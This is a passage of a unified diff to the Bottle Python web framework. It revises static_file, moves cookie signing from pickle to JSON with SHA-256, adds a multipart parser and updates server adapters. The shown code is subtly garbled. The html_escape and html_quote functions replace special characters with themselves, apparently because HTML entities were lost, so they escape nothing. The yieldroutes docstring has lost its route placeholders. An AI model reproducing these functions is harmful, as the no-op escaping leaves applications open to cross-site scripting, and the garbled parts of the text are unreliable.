a `Save as...` dialog + instead of opening the file with the associated program. You can + specify a custom filename as a string. If not specified, the + original filename is used (default: False). + :param charset: The charset for files with a ``text/*`` mime-type. + (default: UTF-8) + :param etag: Provide a pre-computed ETag header. If set to ``False``, + ETag handling is disabled. (default: auto-generate ETag header) + :param headers: Additional headers dict to add to the response. + + While checking user input is always a good idea, this function provides + additional protection against malicious ``filename`` parameters from + breaking out of the ``root`` directory and leaking sensitive information + to an attacker. + + Read-protected files or files outside of the ``root`` directory are + answered with ``403 Access Denied``. Missing files result in a + ``404 Not Found`` response. Conditional requests (``If-Modified-Since``, + ``If-None-Match``) are answered with ``304 Not Modified`` whenever + possible. ``HEAD`` and ``Range`` requests (used by download managers to + check or continue partial downloads) are also handled automatically. """ - root = os.path.abspath(root) + os.sep + + root = os.path.join(os.path.abspath(root), '') filename = os.path.abspath(os.path.join(root, filename.strip('/\\'))) - headers = dict() + headers = headers.copy() if headers else {} + getenv = request.environ.get if not filename.startswith(root): return HTTPError(403, "Access denied.") @@ -2084,49 +2882,66 @@ def static_file(filename, root, mimetype='auto', download=False): if not os.access(filename, os.R_OK): return HTTPError(403, "You do not have permission to access this file.") - if mimetype == 'auto': - mimetype, encoding = mimetypes.guess_type(filename) - if mimetype: headers['Content-Type'] = mimetype - if encoding: headers['Content-Encoding'] = encoding - elif mimetype: + if mimetype is True: + name = download if isinstance(download, str) else filename + mimetype, encoding = mimetypes.guess_type(name) + if encoding == 'gzip': + mimetype = 'application/gzip' + elif encoding: # e.g. bzip2 -> application/x-bzip2 + mimetype = 'application/x-' + encoding + + if charset and mimetype and 'charset=' not in mimetype \ + and (mimetype[:5] == 'text/' or mimetype == 'application/javascript'): + mimetype += '; charset=%s' % charset + + if mimetype: headers['Content-Type'] = mimetype + if download is True: + download = os.path.basename(filename) + if download: - download = os.path.basename(filename if download == True else download) + download = download.replace('"','') headers['Content-Disposition'] = 'attachment; filename="%s"' % download stats = os.stat(filename) headers['Content-Length'] = clen = stats.st_size - lm = time.strftime("%a, %d %b %Y %H:%M:%S GMT", time.gmtime(stats.st_mtime)) - headers['Last-Modified'] = lm + headers['Last-Modified'] = email.utils.formatdate(stats.st_mtime, usegmt=True) + headers['Date'] = email.utils.formatdate(time.time(), usegmt=True) - ims = request.environ.get('HTTP_IF_MODIFIED_SINCE') + if etag is None: + etag = '%d:%d:%d:%d:%s' % (stats.st_dev, stats.st_ino, stats.st_mtime, + clen, filename) + etag = hashlib.sha1(tob(etag)).hexdigest() + + if etag: + headers['ETag'] = etag + check = getenv('HTTP_IF_NONE_MATCH') + if check and check == etag: + return HTTPResponse(status=304, **headers) + + ims = getenv('HTTP_IF_MODIFIED_SINCE') if ims: ims = parse_date(ims.split(";")[0].strip()) - if ims is not None and ims >= int(stats.st_mtime): - headers['Date'] = time.strftime("%a, %d %b %Y %H:%M:%S GMT", time.gmtime()) - return HTTPResponse(status=304, **headers) + if ims is not None and ims >= int(stats.st_mtime): + return HTTPResponse(status=304, **headers) body = '' if request.method == 'HEAD' else open(filename, 'rb') headers["Accept-Ranges"] = "bytes" - ranges = request.environ.get('HTTP_RANGE') - if 'HTTP_RANGE' in request.environ: - ranges = list(parse_range_header(request.environ['HTTP_RANGE'], clen)) + range_header = getenv('HTTP_RANGE') + if range_header: + ranges = list(parse_range_header(range_header, clen)) if not ranges: return HTTPError(416, "Requested Range Not Satisfiable") offset, end = ranges[0] - headers["Content-Range"] = "bytes %d-%d/%d" % (offset, end-1, clen) - headers["Content-Length"] = str(end-offset) - if body: body = _file_iter_range(body, offset, end-offset) + rlen = end - offset + headers["Content-Range"] = "bytes %d-%d/%d" % (offset, end - 1, clen) + headers["Content-Length"] = str(rlen) + if body: body = _closeiter(_rangeiter(body, offset, rlen), body.close) return HTTPResponse(body, status=206, **headers) return HTTPResponse(body, **headers) - - - - - ############################################################################### # HTTP Utilities and MISC (TODO) ############################################### ############################################################################### @@ -2136,14 +2951,31 @@ def debug(mode=True): """ Change the debug level. There is only one debug level supported at the moment.""" global DEBUG + if mode: warnings.simplefilter('default') DEBUG = bool(mode) +def http_date(value): + if isinstance(value, basestring): + return value + if isinstance(value, datetime): + # aware datetime.datetime is converted to UTC time + # naive datetime.datetime is treated as UTC time + value = value.utctimetuple() + elif isinstance(value, datedate): + # datetime.date is naive, and is treated as UTC time + value = value.timetuple() + if not isinstance(value, (int, float)): + # convert struct_time in UTC to UNIX timestamp + value = calendar.timegm(value) + return email.utils.formatdate(value, usegmt=True) + + def parse_date(ims): """ Parse rfc1123, rfc850 and asctime timestamps and return UTC epoch. """ try: ts = email.utils.parsedate_tz(ims) - return time.mktime(ts[:8] + (0,)) - (ts[9] or 0) - time.timezone + return calendar.timegm(ts[:8] + (0, )) - (ts[9] or 0) except (TypeError, ValueError, IndexError, OverflowError): return None @@ -2153,32 +2985,70 @@ def parse_auth(header): try: method, data = header.split(None, 1) if method.lower() == 'basic': - user, pwd = touni(base64.b64decode(tob(data))).split(':',1) + user, pwd = touni(base64.b64decode(tob(data))).split(':', 1) return user, pwd except (KeyError, ValueError): return None + def parse_range_header(header, maxlen=0): - ''' Yield (start, end) ranges parsed from a HTTP Range header. Skip - unsatisfiable ranges. The end index is non-inclusive.''' + """ Yield (start, end) ranges parsed from a HTTP Range header. Skip + unsatisfiable ranges. The end index is non-inclusive.""" if not header or header[:6] != 'bytes=': return ranges = [r.split('-', 1) for r in header[6:].split(',') if '-' in r] for start, end in ranges: try: if not start: # bytes=-100 -> last 100 bytes - start, end = max(0, maxlen-int(end)), maxlen + start, end = max(0, maxlen - int(end)), maxlen elif not end: # bytes=100- -> all but the first 99 bytes start, end = int(start), maxlen - else: # bytes=100-200 -> bytes 100-200 (inclusive) - start, end = int(start), min(int(end)+1, maxlen) + else: # bytes=100-200 -> bytes 100-200 (inclusive) + start, end = int(start), min(int(end) + 1, maxlen) if 0 <= start < end <= maxlen: yield start, end except ValueError: pass + +#: Header tokenizer used by _parse_http_header() +_hsplit = re.compile('(?:(?:"((?:[^"\\\\]|\\\\.)*)")|([^;,=]+))([;,=]?)').findall + +def _parse_http_header(h): + """ Parses a typical multi-valued and parametrised HTTP header (e.g. Accept headers) and returns a list of values + and parameters. For non-standard or broken input, this implementation may return partial results. + :param h: A header string (e.g. ``text/html,text/plain;q=0.9,*/*;q=0.8``) + :return: List of (value, params) tuples. The second element is a (possibly empty) dict. + """ + values = [] + if '"' not in h: # INFO: Fast path without regexp (~2x faster) + for value in h.split(','): + parts = value.split(';') + values.append((parts[0].strip(), {})) + for attr in parts[1:]: + name, value = attr.split('=', 1) + values[-1][1][name.strip().lower()] = value.strip() + else: + lop, key, attrs = ',', None, {} + for quoted, plain, tok in _hsplit(h): + value = plain.strip() if plain else quoted.replace('\\"', '"') + if lop == ',': + attrs = {} + values.append((value, attrs)) + elif lop == ';': + if tok == '=': + key = value + else: + attrs[value.strip().lower()] = '' + elif lop == '=' and key: + attrs[key.strip().lower()] = value + key = None + lop = tok + return values + + def _parse_qsl(qs): r = [] - for pair in qs.replace(';','&').split('&'): + for pair in qs.split('&'): if not pair: continue nv = pair.split('=', 1) if len(nv) != 2: nv.append('') @@ -2187,44 +3057,55 @@ def _parse_qsl(qs): r.append((key, value)) return r -def _lscmp(a, b): - ''' Compares two strings in a cryptographically safe way: - Runtime is not affected by length of common prefix. ''' - return not sum(0 if x==y else 1 for x, y in zip(a, b)) and len(a) == len(b) - -def cookie_encode(data, key): - ''' Encode and sign a pickle-able object. Return a (byte) string ''' - msg = base64.b64encode(pickle.dumps(data, -1)) - sig = base64.b64encode(hmac.new(tob(key), msg).digest()) +def _lscmp(a, b): + """ Compares two strings in a cryptographically safe way: + Runtime is not affected by length of common prefix. """ + return not sum(0 if x == y else 1 + for x, y in zip(a, b)) and len(a) == len(b) + + +def cookie_encode(data, key, digestmod=None): + """ Encode and sign a JSON-serializable object. Return a (byte) string """ + depr(0, 13, "cookie_encode() will be removed soon.", + "Do not use this API directly.") + digestmod = digestmod or hashlib.sha256 + msg = base64.b64encode(tob(json_dumps(data))) + sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=digestmod).digest()) return tob('!') + sig + tob('?') + msg -def cookie_decode(data, key): - ''' Verify and decode an encoded string. Return an object or None.''' +def cookie_decode(data, key, digestmod=None): + """ Verify and decode an encoded string. Return an object or None.""" + depr(0, 13, "cookie_decode() will be removed soon.", + "Do not use this API directly.") data = tob(data) if cookie_is_encoded(data): sig, msg = data.split(tob('?'), 1) - if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg).digest())): - return pickle.loads(base64.b64decode(msg)) + digestmod = digestmod or hashlib.sha256 + hashed = hmac.new(tob(key), msg, digestmod=digestmod).digest() + if _lscmp(sig[1:], base64.b64encode(hashed)): + return json_loads(base64.b64decode(msg)) return None def cookie_is_encoded(data): - ''' Return True if the argument looks like a encoded cookie.''' + """ Return True if the argument looks like a encoded cookie.""" + depr(0, 13, "cookie_is_encoded() will be removed soon.", + "Do not use this API directly.") return bool(data.startswith(tob('!')) and tob('?') in data) def html_escape(string): - ''' Escape HTML special characters ``&<>`` and quotes ``'"``. ''' - return string.replace('&','&').replace('<','<').replace('>','>')\ - .replace('"','"').replace("'",''') + """ Escape HTML special characters ``&<>`` and quotes ``'"``. """ + return string.replace('&', '&').replace('<', '<').replace('>', '>')\ + .replace('"', '"').replace("'", ''') def html_quote(string): - ''' Escape and quote a string to be used as an HTTP attribute.''' - return '"%s"' % html_escape(string).replace('\n','%#10;')\ - .replace('\r',' ').replace('\t',' ') + """ Escape and quote a string to be used as an HTTP attribute.""" + return '"%s"' % html_escape(string).replace('\n', ' ')\ + .replace('\r', ' ').replace('\t', ' ') def yieldroutes(func): @@ -2233,40 +3114,39 @@ def yieldroutes(func): takes optional keyword arguments. The output is best described by example:: a() -> '/a' - b(x, y) -> '/b/:x/:y' - c(x, y=5) -> '/c/:x' and '/c/:x/:y' - d(x=5, y=6) -> '/d' and '/d/:x' and '/d/:x/:y' + b(x, y) -> '/b//' + c(x, y=5) -> '/c/' and '/c//' + d(x=5, y=6) -> '/d' and '/d/' and '/d//' """ - import inspect # Expensive module. Only import if necessary. - path = '/' + func.__name__.replace('__','/').lstrip('/') - spec = inspect.getargspec(func) + path = '/' + func.__name__.replace('__', '/').lstrip('/') + spec = getargspec(func) argc = len(spec[0]) - len(spec[3] or []) - path += ('/:%s' * argc) % tuple(spec[0][:argc]) + path += ('/<%s>' * argc) % tuple(spec[0][:argc]) yield path for arg in spec[0][argc:]: - path += '/:%s' % arg + path += '/<%s>' % arg yield path def path_shift(script_name, path_info, shift=1): - ''' Shift path fragments from PATH_INFO to SCRIPT_NAME and vice versa. + """ Shift path fragments from PATH_INFO to SCRIPT_NAME and vice versa. :return: The modified paths. :param script_name: The SCRIPT_NAME path. :param script_name: The PATH_INFO path. :param shift: The number of path fragments to shift. May be negative to change the shift direction. (default: 1) - ''' + """ if shift == 0: return script_name, path_info pathlist = path_info.strip('/').split('/') scriptlist = script_name.strip('/').split('/') if pathlist and pathlist[0] == '': pathlist = [] if scriptlist and scriptlist[0] == '': scriptlist = [] - if shift > 0 and shift <= len(pathlist): + if 0 < shift <= len(pathlist): moved = pathlist[:shift] scriptlist = scriptlist + moved pathlist = pathlist[shift:] - elif shift < 0 and shift >= -len(scriptlist): + elif 0 > shift >= -len(scriptlist): moved = scriptlist[shift:] pathlist = moved + pathlist scriptlist = scriptlist[:shift] @@ -2279,56 +3159,45 @@ def path_shift(script_name, path_info, shift=1): return new_script_name, new_path_info -def validate(**vkargs): - """ - Validates and manipulates keyword arguments by user defined callables. - Handles ValueError and missing arguments by raising HTTPError(403). - """ - depr('Use route wildcard filters instead.') +def auth_basic(check, realm="private", text="Access denied"): + """ Callback decorator to require HTTP auth (basic). + TODO: Add route(check_auth=...) parameter. """ + def decorator(func): + @functools.wraps(func) - def wrapper(*args, **kargs): - for key, value in vkargs.items(): - if key not in kargs: - abort(403, 'Missing parameter: %s' % key) - try: - kargs[key] = value(kargs[key]) - except ValueError: - abort(403, 'Wrong parameter format for: %s' % key) - return func(*args, **kargs) - return wrapper - return decorator + def wrapper(*a, **ka): + user, password = request.auth or (None, None) + if user is None or not check(user, password): + err = HTTPError(401, text) + err.add_header('WWW-Authenticate', 'Basic realm="%s"' % realm) + return err + return func(*a, **ka) + return wrapper -def auth_basic(check, realm="private", text="Access denied"): - ''' Callback decorator to require HTTP auth (basic). - TODO: Add route(check_auth=...) parameter. ''' - def decorator(func): - def wrapper(*a, **ka): - user, password = request.auth or (None, None) - if user is None or not check(user, password): - response.headers['WWW-Authenticate'] = 'Basic realm="%s"' % realm - return HTTPError(401, text) - return func(*a, **ka) - return wrapper return decorator - # Shortcuts for common Bottle methods. # They all refer to the current default application. + def make_default_app_wrapper(name): - ''' Return a callable that relays calls to the current default app. ''' + """ Return a callable that relays calls to the current default app. """ + @functools.wraps(getattr(Bottle, name)) def wrapper(*a, **ka): return getattr(app(), name)(*a, **ka) + return wrapper + route = make_default_app_wrapper('route') get = make_default_app_wrapper('get') post = make_default_app_wrapper('post') put = make_default_app_wrapper('put') delete = make_default_app_wrapper('delete') +patch = make_default_app_wrapper('patch') error = make_default_app_wrapper('error') mount = make_default_app_wrapper('mount') hook = make_default_app_wrapper('hook') @@ -2337,63 +3206,374 @@ def wrapper(*a, **ka): url = make_default_app_wrapper('get_url') +############################################################################### +# Multipart Handling ########################################################### +############################################################################### +# cgi.FieldStorage was deprecated in Python 3.11 and removed in 3.13 +# This implementation is based on https://github.com/defnull/multipart/ + + +class MultipartError(HTTPError): + def __init__(self, msg): + HTTPError.__init__(self, 400, "MultipartError: " + msg) + + +class _MultipartParser(object): + def __init__( + self, + stream, + boundary, + content_length=-1, + disk_limit=2 ** 30, + mem_limit=2 ** 20, + memfile_limit=2 ** 18, + buffer_size=2 ** 16, + charset="latin1", + ): + self.stream = stream + self.boundary = boundary + self.content_length = content_length + self.disk_limit = disk_limit + self.memfile_limit = memfile_limit + self.mem_limit = min(mem_limit, self.disk_limit) + self.buffer_size = min(buffer_size, self.mem_limit) + self.charset = charset + + if not boundary: + raise MultipartError("No boundary.") + + if self.buffer_size - 6 < len(boundary): # "--boundary--\r\n" + raise MultipartError("Boundary does not fit into buffer_size.") + + def _lineiter(self): + """ Iterate over a binary file-like object (crlf terminated) line by + line. Each line is returned as a (line, crlf) tuple. Lines larger + than buffer_size are split into chunks where all but the last chunk + has an empty string instead of crlf. Maximum chunk size is twice the + buffer size. + """ + + read = self.stream.read + maxread, maxbuf = self.content_length, self.buffer_size + partial = b"" # Contains the last (partial) line + + while True: + chunk = read(maxbuf if maxread < 0 else min(maxbuf, maxread)) + maxread -= len(chunk) + if not chunk: + if partial: + yield partial, b'' + break + + if partial: + chunk = partial + chunk + + scanpos = 0 + while True: + i = chunk.find(b'\r\n', scanpos) + if i >= 0: + yield chunk[scanpos:i], b'\r\n' + scanpos = i + 2 + else: # CRLF not found + partial = chunk[scanpos:] if scanpos else chunk + break + + if len(partial) > maxbuf: + yield partial[:-1], b"" + partial = partial[-1:] + + def parse(self): + """ Return a MultiPart iterator. Can only be called once. """ + + lines, line = self._lineiter(), "" + separator = b"--" + tob(self.boundary) + terminator = separator + b"--" + mem_used, disk_used = 0, 0 # Track used resources to prevent DoS + is_tail = False # True if the last line was incomplete (cutted) + + # Consume first boundary. Ignore any preamble, as required by RFC + # 2046, section 5.1.1. + for line, nl in lines: + if line in (separator, terminator): + break + else: + raise MultipartError("Stream does not contain boundary") + + # First line is termainating boundary -> empty multipart stream + if line == terminator: + for _ in lines: + raise MultipartError("Found data after empty multipart stream") + return + + part_options = { + "buffer_size": self.buffer_size, + "memfile_limit": self.memfile_limit, + "charset": self.charset, + } + part = _MultipartPart(**part_options) + + for line, nl in lines: + if not is_tail and (line == separator or line == terminator): + part.finish() + if part.is_buffered(): + mem_used += part.size + else: + disk_used += part.size + yield part + if line == terminator: + break + part = _MultipartPart(**part_options) + else: + is_tail = not nl # The next line continues this one + try: + part.feed(line, nl) + if part.is_buffered(): + if part.size + mem_used > self.mem_limit: + raise MultipartError("Memory limit reached.") + elif part.size + disk_used > self.disk_limit: + raise MultipartError("Disk limit reached.") + except MultipartError: + part.close() + raise + else: + part.close() + + if line != terminator: + raise MultipartError("Unexpected end of multipart stream.") + + +class _MultipartPart(object): + def __init__(self, buffer_size=2 ** 16, memfile_limit=2 ** 18, charset="latin1"): + self.headerlist = [] + self.headers = None + self.file = False + self.size = 0 + self._buf = b"" + self.disposition = None + self.name = None + self.filename = None + self.content_type = None + self.charset = charset + self.memfile_limit = memfile_limit + self.buffer_size = buffer_size + + def feed(self, line, nl=""): + if self.file: + return self.write_body(line, nl) + return self.write_header(line, nl) + + def write_header(self, line, nl): + line = line.decode(self.charset) + + if not nl: + raise MultipartError("Unexpected end of line in header.") + + if not line.strip(): # blank line -> end of header segment + self.finish_header() + elif line[0] in " \t" and self.headerlist: + name, value = self.headerlist.pop() + self.headerlist.append((name, value + line.strip())) + else: + if ":" not in line: + raise MultipartError("Syntax error in header: No colon.") + + name, value = line.split(":", 1) + self.headerlist.append((name.strip(), value.strip())) + + def write_body(self, line, nl): + if not line and not nl: + return # This does not even flush the buffer + + self.size += len(line) + len(self._buf) + self.file.write(self._buf + line) + self._buf = nl + + if self.content_length > 0 and self.size > self.content_length: + raise MultipartError("Size of body exceeds Content-Length header.") + + if self.size > self.memfile_limit and isinstance(self.file, BytesIO): + self.file, old = NamedTemporaryFile(mode="w+b"), self.file + old.seek(0) + + copied, maxcopy, chunksize = 0, self.size, self.buffer_size + read, write = old.read, self.file.write + while copied < maxcopy: + chunk = read(min(chunksize, maxcopy - copied)) + write(chunk) + copied += len(chunk) + + def finish_header(self): + self.file = BytesIO() + self.headers = HeaderDict(self.headerlist) + content_disposition = self.headers.get("Content-Disposition") + content_type = self.headers.get("Content-Type") + + if not content_disposition: + raise MultipartError("Content-Disposition header is missing.") + + self.disposition, self.options = _parse_http_header(content_disposition)[0] + self.name = self.options.get("name") + if "filename" in self.options: + self.filename = self.options.get("filename") + if self.filename[1:3] == ":\\" or self.filename[:2] == "\\\\": + self.filename = self.filename.split("\\")[-1] # ie6 bug + + self.content_type, options = _parse_http_header(content_type)[0] if content_type else (None, {}) + self.charset = options.get("charset") or self.charset + + self.content_length = int(self.headers.get("Content-Length", "-1")) + + def finish(self): + if not self.file: + raise MultipartError("Incomplete part: Header section not closed.") + self.file.seek(0) + + def is_buffered(self): + """ Return true if the data is fully buffered in memory.""" + return isinstance(self.file, BytesIO) + @property + def value(self): + """ Data decoded with the specified charset """ + + return self.raw.decode(self.charset) + @property + def raw(self): + """ Data without decoding """ + pos = self.file.tell() + self.file.seek(0) + try: + return self.file.read() + finally: + self.file.seek(pos) + def close(self): + if self.file: + self.file.close() + self.file = False ############################################################################### # Server Adapter ############################################################### ############################################################################### +# Before you edit or add a server adapter, please read: +# - https://github.com/bottlepy/bottle/pull/647#issuecomment-60152870 +# - https://github.com/bottlepy/bottle/pull/865#issuecomment-242795341 class ServerAdapter(object): quiet = False - def __init__(self, host='127.0.0.1', port=8080, **config): - self.options = config + + def __init__(self, host='127.0.0.1', port=8080, **options): + self.options = options self.host = host self.port = int(port) - def run(self, handler): # pragma: no cover + def run(self, handler): # pragma: no cover pass def __repr__(self): - args = ', '.join(['%s=%s'%(k,repr(v)) for k, v in self.options.items()]) + args = ', '.join('%s=%s' % (k, repr(v)) + for k, v in self.options.items()) return "%s(%s)" % (self.__class__.__name__, args) class CGIServer(ServerAdapter): quiet = True - def run(self, handler): # pragma: no cover + + def run(self, handler): # pragma: no cover from wsgiref.handlers import CGIHandler + def fixed_environ(environ, start_response): environ.setdefault('PATH_INFO', '') return handler(environ, start_response) + CGIHandler().run(fixed_environ) class FlupFCGIServer(ServerAdapter): - def run(self, handler): # pragma: no cover + def run(self, handler): # pragma: no cover import flup.server.fcgi self.options.setdefault('bindAddress', (self.host, self.port)) flup.server.fcgi.WSGIServer(handler, **self.options).run() class WSGIRefServer(ServerAdapter): - def run(self, handler): # pragma: no cover - from wsgiref.simple_server import make_server, WSGIRequestHandler - if self.quiet: - class QuietHandler(WSGIRequestHandler): - def log_request(*args, **kw): pass - self.options['handler_class'] = QuietHandler - srv = make_server(self.host, self.port, handler, **self.options) - srv.serve_forever() + def run(self, app): # pragma: no cover + from wsgiref.simple_server import make_server + from wsgiref.simple_server import WSGIRequestHandler, WSGIServer + import socket + + class FixedHandler(WSGIRequestHandler): + def address_string(self): # Prevent reverse DNS lookups please. + return self.client_address[0] + + def log_request(*args, **kw): + if not self.quiet: + return WSGIRequestHandler.log_request(*args, **kw) + + handler_cls = self.options.get('handler_class', FixedHandler) + server_cls = self.options.get('server_class', WSGIServer) + + if ':' in self.host: # Fix wsgiref for IPv6 addresses. + if getattr(server_cls, 'address_family') == socket.AF_INET: + + class server_cls(server_cls): + address_family = socket.AF_INET6 + + self.srv = make_server(self.host, self.port, app, server_cls, + handler_cls) + self.port = self.srv.server_port # update port actual port (0 means random) + try: + self.srv.serve_forever() + except KeyboardInterrupt: + self.srv.server_close() # Prevent ResourceWarning: unclosed socket + raise class CherryPyServer(ServerAdapter): + def run(self, handler): # pragma: no cover + depr(0, 13, "The wsgi server part of cherrypy was split into a new " + "project called 'cheroot'.", "Use the 'cheroot' server " + "adapter instead of cherrypy.") + from cherrypy import wsgiserver # This will fail for CherryPy >= 9 + + self.options['bind_addr'] = (self.host, self.port) + self.options['wsgi_app'] = handler + + certfile = self.options.get('certfile') + if certfile: + del self.options['certfile'] + keyfile = self.options.get('keyfile') + if keyfile: + del self.options['keyfile'] + + server = wsgiserver.CherryPyWSGIServer(**self.options) + if certfile: + server.ssl_certificate = certfile + if keyfile: + server.ssl_private_key = keyfile + + try: + server.start() + finally: + server.stop() + + +class CherootServer(ServerAdapter): def run(self, handler): # pragma: no cover - from cherrypy import wsgiserver - server = wsgiserver.CherryPyWSGIServer((self.host, self.port), handler) + from cheroot import wsgi + from cheroot.ssl import builtin + self.options['bind_addr'] = (self.host, self.port) + self.options['wsgi_app'] = handler + certfile = self.options.pop('certfile', None) + keyfile = self.options.pop('keyfile', None) + chainfile = self.options.pop('chainfile', None) + server = wsgi.Server(**self.options) + if certfile and keyfile: + server.ssl_adapter = builtin.BuiltinSSLAdapter( + certfile, keyfile, chainfile) try: server.start() finally: @@ -2403,17 +3583,17 @@ def run(self, handler): # pragma: no cover class WaitressServer(ServerAdapter): def run(self, handler): from waitress import serve - serve(handler, host=self.host, port=self.port) + serve(handler, host=self.host, port=self.port, _quiet=self.quiet, **self.options) class PasteServer(ServerAdapter): - def run(self, handler): # pragma: no cover + def run(self, handler): # pragma: no cover from paste import httpserver - if not self.quiet: - from paste.translogger import TransLogger - handler = TransLogger(handler) - httpserver.serve(handler, host=self.host, port=str(self.port), - **self.options) + from paste.translogger import TransLogger + handler = TransLogger(handler, setup_console_handler=(not self.quiet)) + httpserver.serve(handler, + host=self.host, + port=str(self.port), **self.options) class MeinheldServer(ServerAdapter): @@ -2424,8 +3604,10 @@ def run(self, handler): class FapwsServer(ServerAdapter): - """ Extremely fast webserver using libev. See http://www.fapws.org/ """ - def run(self, handler): # pragma: no cover + """ Extremely fast webserver using libev. See https://github.com/william-os4y/fapws3 """ + + def run(self, handler): # pragma: no cover + depr(0, 13, "fapws3 is not maintained and support will be dropped.") import fapws._evwsgi as evwsgi from fapws import base, config port = self.port @@ -2435,30 +3617,36 @@ def run(self, handler): # pragma: no cover evwsgi.start(self.host, port) # fapws3 never releases the GIL. Complain upstream. I tried. No luck. if 'BOTTLE_CHILD' in os.environ and not self.quiet: - _stderr("WARNING: Auto-reloading does not work with Fapws3.\n") - _stderr(" (Fapws3 breaks python thread support)\n") + _stderr("WARNING: Auto-reloading does not work with Fapws3.") + _stderr(" (Fapws3 breaks python thread support)") evwsgi.set_base_module(base) + def app(environ, start_response): environ['wsgi.multiprocess'] = False return handler(environ, start_response) + evwsgi.wsgi_cb(('', app)) evwsgi.run() class TornadoServer(ServerAdapter): """ The super hyped asynchronous server by facebook. Untested. """ - def run(self, handler): # pragma: no cover + + def run(self, handler): # pragma: no cover import tornado.wsgi, tornado.httpserver, tornado.ioloop container = tornado.wsgi.WSGIContainer(handler) server = tornado.httpserver.HTTPServer(container) - server.listen(port=self.port) + server.listen(port=self.port, address=self.host) tornado.ioloop.IOLoop.instance().start() class AppEngineServer(ServerAdapter): """ Adapter for Google App Engine. """ quiet = True + def run(self, handler): + depr(0, 13, "AppEngineServer no longer required", + "Configure your application directly in your app.yaml") from google.appengine.ext.webapp import util # A main() function in the handler script enables 'App Caching'. # Lets makes sure it is there. This _really_ improves performance. @@ -2470,6 +3658,7 @@ def run(self, handler): class TwistedServer(ServerAdapter): """ Untested. """ + def run(self, handler): from twisted.web import server, wsgi from twisted.python.threadpool import ThreadPool @@ -2479,12 +3668,15 @@ def run(self, handler): reactor.addSystemEventTrigger('after', 'shutdown', thread_pool.stop) factory = server.Site(wsgi.WSGIResource(reactor, thread_pool, handler)) reactor.listenTCP(self.port, factory, interface=self.host) - reactor.run() + if not reactor.running: + reactor.run() class DieselServer(ServerAdapter): """ Untested. """ + def run(self, handler): + depr(0, 13, "Diesel is not tested or supported and will be removed.") from diesel.protocols.wsgi import WSGIApplication app = WSGIApplication(handler, port=self.port) app.run() @@ -2493,30 +3685,41 @@ def run(self, handler): class GeventServer(ServerAdapter): """ Untested. Options: - * `fast` (default: False) uses libevent's http server, but has some - issues: No streaming, no pipelining, no SSL. + * See gevent.wsgi.WSGIServer() documentation for more options. """ + def run(self, handler): - from gevent import wsgi, pywsgi, local - if not isinstance(_lctx, local.local): + from gevent import pywsgi, local + if not isinstance(threading.local(), local.local): msg = "Bottle requires gevent.monkey.patch_all() (before import)" raise RuntimeError(msg) - if not self.options.get('fast'): wsgi = pywsgi - log = None if self.quiet else 'default' - wsgi.WSGIServer((self.host, self.port), handler, log=log).serve_forever() + if self.quiet: + self.options['log'] = None + address = (self.host, self.port) + server = pywsgi.WSGIServer(address, handler, **self.options) + if 'BOTTLE_CHILD' in os.environ: + import signal + signal.signal(signal.SIGINT, lambda s, f: server.stop()) + server.serve_forever() class GunicornServer(ServerAdapter): """ Untested. See http://gunicorn.org/configure.html for options. """ + def run(self, handler): - from gunicorn.app.base import Application + from gunicorn.app.base import BaseApplication + + if self.host.startswith("unix:"): + config = {'bind': self.host} + else: + config = {'bind': "%s:%d" % (self.host, self.port)} - config = {'bind': "%s:%d" % (self.host, int(self.port))} config.update(self.options) - class GunicornApplication(Application): - def init(self, parser, opts, args): - return config + class GunicornApplication(BaseApplication): + def load_config(self): + for key, value in config.items(): + self.cfg.set(key, value) def load(self): return handler @@ -2525,35 +3728,83 @@ def load(self): class EventletServer(ServerAdapter): - """ Untested """ + """ Untested. Options: + + * `backlog` adjust the eventlet backlog parameter which is the maximum + number of queued connections. Should be at least 1; the maximum + value is system-dependent. + * `family`: (default is 2) socket family, optional. See socket + documentation for available families. + """ + def run(self, handler): - from eventlet import wsgi, listen + from eventlet import wsgi, listen, patcher + if not patcher.is_monkey_patched(os): + msg = "Bottle requires eventlet.monkey_patch() (before import)" + raise RuntimeError(msg) + socket_args = {} + for arg in ('backlog', 'family'): + try: + socket_args[arg] = self.options.pop(arg) + except KeyError: + pass + address = (self.host, self.port) try: - wsgi.server(listen((self.host, self.port)), handler, + wsgi.server(listen(address, **socket_args), handler, log_output=(not self.quiet)) except TypeError: # Fallback, if we have old version of eventlet - wsgi.server(listen((self.host, self.port)), handler) - - -class RocketServer(ServerAdapter): - """ Untested. """ - def run(self, handler): - from rocket import Rocket - server = Rocket((self.host, self.port), 'wsgi', { 'wsgi_app' : handler }) - server.start() + wsgi.server(listen(address), handler) class BjoernServer(ServerAdapter): """ Fast server written in C: https://github.com/jonashaag/bjoern """ + def run(self, handler): from bjoern import run - run(handler, self.host, self.port) + run(handler, self.host, self.port, reuse_port=True) + +class AsyncioServerAdapter(ServerAdapter): + """ Extend ServerAdapter for adding custom event loop """ + def get_event_loop(self): + pass + +class AiohttpServer(AsyncioServerAdapter): + """ Asynchronous HTTP client/server framework for asyncio + https://pypi.python.org/pypi/aiohttp/ + https://pypi.org/project/aiohttp-wsgi/ + """ + def get_event_loop(self): + import asyncio + return asyncio.new_event_loop() + + def run(self, handler): + import asyncio + from aiohttp_wsgi.wsgi import serve + self.loop = self.get_event_loop() + asyncio.set_event_loop(self.loop) + + if 'BOTTLE_CHILD' in os.environ: + import signal + signal.signal(signal.SIGINT, lambda s, f: self.loop.stop()) + + serve(handler, host=self.host, port=self.port) + + +class AiohttpUVLoopServer(AiohttpServer): + """uvloop + https://github.com/MagicStack/uvloop + """ + def get_event_loop(self): + import uvloop + return uvloop.new_event_loop() class AutoServer(ServerAdapter): """ Untested. """ - adapters = [WaitressServer, PasteServer, TwistedServer, CherryPyServer, WSGIRefServer] + adapters = [WaitressServer, PasteServer, TwistedServer, CherryPyServer, + CherootServer, WSGIRefServer] + def run(self, handler): for sa in self.adapters: try: @@ -2561,12 +3812,14 @@ def run(self, handler): except ImportError: pass + server_names = { 'cgi': CGIServer, 'flup': FlupFCGIServer, 'wsgiref': WSGIRefServer, 'waitress': WaitressServer, 'cherrypy': CherryPyServer, + 'cheroot': CherootServer, 'paste': PasteServer, 'fapws3': FapwsServer, 'tornado': TornadoServer, @@ -2577,16 +3830,12 @@ def run(self, handler): 'gunicorn': GunicornServer, 'eventlet': EventletServer, 'gevent': GeventServer, - 'rocket': RocketServer, - 'bjoern' : BjoernServer, + 'bjoern': BjoernServer, + 'aiohttp': AiohttpServer, + 'uvloop': AiohttpUVLoopServer, 'auto': AutoServer, } - - - - - ############################################################################### # Application Control ########################################################## 